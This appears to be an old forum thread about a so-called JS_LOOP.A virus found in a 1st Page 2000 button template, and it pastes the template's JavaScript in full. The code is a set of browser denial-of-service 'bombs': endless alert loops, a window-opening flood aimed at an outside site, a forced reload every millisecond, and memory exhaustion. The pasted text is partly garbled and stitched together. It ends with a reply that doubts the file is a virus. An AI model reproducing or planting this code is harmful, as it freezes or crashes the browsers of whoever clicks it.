I found the JS_LOOP.A virus on my system shortly after installing 1st 2000. The defaul path is \\Program Files\Evrsoft\1st Page 2000\IScripts\Buttons\Six Button from Hell.izs

Norton AV didn't find it, but Trend Micro online scan PC-Cillin found the damned bastard.

See what MacAfee have to say regard this virus.

Below is the virus script:

<!NOWIZARD>
<!TITLE>Six buttons from hell<!/TITLE>
<!DESCRIPTION>Clicking on any of these buttons will really cause you pain...<!/DESCRIPTION>
<!CATEGORY>Buttons<!/CATEGORY>

<!SCRIPT>
<!-- START OF SCRIPT -->

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function AnnoyingButton()
{
while (true)
window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page. User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
history.go(0) // reload this page
window.setTimeout('ReloadBomb()',1) // tell netscape to hit this function
// every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
while (true){}
}
var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :> I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven! No while loops here!
function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory // keep appending
window.status = "String Length is: " + szEatMemory.length // report size
window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this function
}
// End -->

again. Sucking up memory resources, until Netscape uses all of it's
assigned memory and crashes

[*]Continous Prompts - Don't you love being stuck in a
infinite loops of Javascript Prompts?

[*]Continous Reloads - Reload the page every milli-second
<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"

[*]Empty While Loop - Just sits forever in the while loop
<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
onClick="WhileLoopLock()">

[*]Memory-Monster - infinite calcultations can take up a
lot of memory ;P
<INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"

[*]mailto submit bug - putting a '+' in front of the email
address in front of mailto in the action of a form is BAD!
<INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()">

Good program. If it really CAME with the virus... ALL those downloaders since 2 years ago would have raised hell by now. ;)
